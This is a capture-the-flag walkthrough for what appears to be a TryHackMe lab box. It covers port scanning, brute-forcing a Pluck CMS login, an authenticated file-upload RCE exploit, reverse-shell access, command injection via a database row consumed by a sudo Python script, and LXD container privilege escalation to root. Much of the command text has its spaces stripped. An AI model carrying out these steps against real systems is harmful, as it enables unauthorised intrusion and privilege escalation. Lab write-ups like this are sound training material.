First let's use rustscan to check for live ports on the target
# I use rustscan, you may use nmaprustscan-aTARGET_IP---A-sC# Expected OutputPORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackOpenSSH8.2p1Ubuntu4ubuntu0.8 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|3072762667a6b0080eed34585b4e77459257 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDwLHu8L86UCKGGVbbYL07uBhmOh9hWLPtBknNwMgULG3UGIqmCT3DywDvtEYZ/6D97nrt6PpsVAu0/gp73GYjUxvk4Gfog9YFShodiB/VJqK4RC23h0oNoAElSJajjEq6JcVaEyub6w8Io50fk4nNhf8dPx0YSaRjKANr9mET6s+4cUNBAF/DknsZw6iYtafzxIQTAtgSX6AtXTXRf5cpdF02wwYvUo1jVSYdXL+Oqx19UADVhQib4Pt5gLAiwuFkoJjnN1L6xwkTjd+sUPVlhQ/6yHfB826/Qk55DWoUrnABfe+3jngyPvjl1heYDuPx01rtDvlDDGAwvriwR7XmX+8X7MZ9E9QOx/m2gEHZ83kuJ9jNLB6WjlqCyA4Zes+oHWbM9Q/nJ/UVQGdfcDS65edQ5m/fw2khqUbCeSFcuD3AQvUJvvFrfg/eTNnhpee/WYJjyZO70tlzhaT/oJheodQ1hQyfgnjwToy/ISHn9Yp4jeqrshBUF87x9kUuLV0=
|256523aad267f6e3f23f9e4efe85ac8425c (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCmisKYJLewSTob1PZ06N0jUpWdArbsaHK65lE8Lwefkk3WFAwoTWvStQbzCJlo0MF+zztRtwcqmHc5V7qawS8E=
|25671df6e81f0807971a8da2e1e56c4debb (ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAIK3j+g633Muvqft5oYrShkXdV0Rjn2S1GQpyXyxoPJy080/tcpopenhttpsyn-ackApachehttpd2.4.41 ((Ubuntu))|_http-server-header:Apache/2.4.41 (Ubuntu)|_http-title:Apache2UbuntuDefaultPage:Itworks|http-methods:|_SupportedMethods:OPTIONSHEADGETPOSTServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernel
Seems, like only 2 ports are open.
When visiting the ip address on port 80, it's just a default apache page. Nothing interesting.
We now have an interesting endpoint /app let's take a look!
Hmmm, interesting.... once we visit the directory of pluck we get a welcome page along with a login page link. Please note that the version of pluck is 4.7.13
Since we don't know the password, neither do we have any breadcrumbs for password, we can try to use bruteforce to get the password, via burpsuite intruder.
I am using the rockyou.txt for buteforcing, Look out for response length 1464, you should have the password.
Once we have the correct password, lets checkout for some exsisting vulnerabilites on this particular version of Pluck.
# Use the searchsploit to get exploit informationsearchsploitpluck4.7.13# Expected output--------------------------------------------------------------------------------------------ExploitTitle|Path--------------------------------------------------------------------------------------------PluckCMS4.7.13-FileUploadRemoteCodeExecution (Authenticated) |php/webapps/49909.py---------------------------------------------------------------------------------------------Shellcodes:NoResultsPapers:NoResults
Initial Foothold
You may now copy the exploit code and run with following command!
Once we visit the page, you have webshell waiting for your commands. now what you can do is get a revershell back that way it will be much easier to control the system. Use the revshells.com
Now get a reverse shell
One thing to note is that you may need to use base64 encoding/decoding to inject a revershell via the web shell
Once we get inside, we need to find the first flag, but its read protected
import requests#Todo add myself as a userurl ="http://127.0.0.1/app/pluck-4.7.13/login.php"password ="HeyLu#####REDACTED####!"data ={"cont1":password,"bogus":"","submit":"Log+in"}req = requests.post(url,data=data)if"Password correct."in req.text:print("Everything is in proper order. Status Code: "+str(req.status_code))else:print("Something is wrong. Status Code: "+str(req.status_code))print("Results:\n"+ req.text)
we get the password for Lucien!, lets login using ssh and get our flag
So we can run a python script without any password using sudo!
Now let's check the other file in the /opt folder!
cat/opt/getDreams.py# we can assume a copy of this script is being used
import mysql.connectorimport subprocess# MySQL credentialsDB_USER ="death"DB_PASS ="#redacted"DB_NAME ="library"import mysql.connectorimport subprocessdefgetDreams():try:# Connect to the MySQL database connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME )# Create a cursor object to execute SQL queries cursor = connection.cursor()# Construct the MySQL query to fetch dreamer and dream columns from dreams table query ="SELECT dreamer, dream FROM dreams;"# Execute the query cursor.execute(query)# Fetch all the dreamer and dream information dreams_info = cursor.fetchall()ifnot dreams_info:print("No dreams found in the database.")else:# Loop through the results and echo the information using subprocessfor dream_info in dreams_info: dreamer, dream = dream_info command =f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True)print(shell)except mysql.connector.Error as error:# Handle any errors that might occur during the database connection or query executionprint(f"Error: {error}")finally:# Close the cursor and connection cursor.close() connection.close()# Call the function to echo the dreamer and dream informationgetDreams()
As per the code, we don't have the password for the user death, but if you look closely there is a for loop from line 37-42 which prints the data from the database, we need to hijack the process there.
What we can simply do is use a bash payload in the library database, itself so when it prints the data, it will terminate the line and execute our payload.
But first we need to get the password for the database! the best place to look for is the .bash_history file.
As you can see, after the -p argument there is a password, lets use that to connect to the library database.
mysql-ulucien-p-Dlibary# since the DB_NAME in the script is for library# Get the tablesmysql> showtables;+-------------------+|Tables_in_library|+-------------------+|dreams|+-------------------+1rowinset (0.00 sec)# Check the datamysql> select*fromdreams;+---------+------------------------------------+|dreamer|dream|+---------+------------------------------------+|Alice|Flyinginthesky||Bob|Exploringancientruins||Carol|Becomingasuccessfulentrepreneur||Dave|Becomingaprofessionalmusician|+---------+------------------------------------+4rowsinset (0.00 sec)# Now Let's append our bash payload to check if it works or notmysql> insertintodreams (dreamer,dream) values ("payload",";id");QueryOK,1rowaffected (0.01 sec)
As you can see, there is restore.py python script, let's investigate!
from shutil import copy2 as backupsrc_file ="/home/morpheus/kingdom"dst_file ="/kingdom_backup/kingdom"backup(src_file, dst_file)print("The kingdom backup has been done!")
The program makes a backup copy of a file, but uses a library shutil.
We can check if we have any read or write privileges on that library itself.
Use the following command on your own machine, to create an alpine image!
sudosu#Install requirementssudoaptupdatesudoaptinstall-ygitgolang-godebootstraprsyncgpgsquashfs-tools#Clone repogitclonehttps://github.com/lxc/distrobuilder#Make distrobuildercddistrobuildermake#Prepare the creation of alpinemkdir-p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wgethttps://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml#Create the containersudo $HOME/go/bin/distrobuilderbuild-lxdalpine.yaml-oimage.release=3.18
Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs
Add the image:
lxcimageimportlxd.tar.xzrootfs.squashfs--aliasalpinelxcimagelist#You can see your new imported image
Once done, if you see your image listed we are good to go for the next few steps!
lxcinit# it will ask you a couple of questions just keep hiting returnlxcinitalpineprivesc-csecurity.privileged=truelxclist#List containerslxcconfigdeviceaddpriveschost-rootdisksource=/path=/mnt/rootrecursive=true
If you find this error Error: No storage pool found. Please create a new storage pool
Run lxd init and repeat the previous chunk of commands
Execute the container:
lxcstartprivesclxcexecprivesc/bin/shcd/mnt/root# this where the main filesystem is mounted
Get Death Flag
Since you have the root permission you have the freedom to read any files of any users!
# Death Flagroot@dreaming:/home#cat/home/death/death_flag.txtTHM{1M_TH3R3_####REDACTED#####}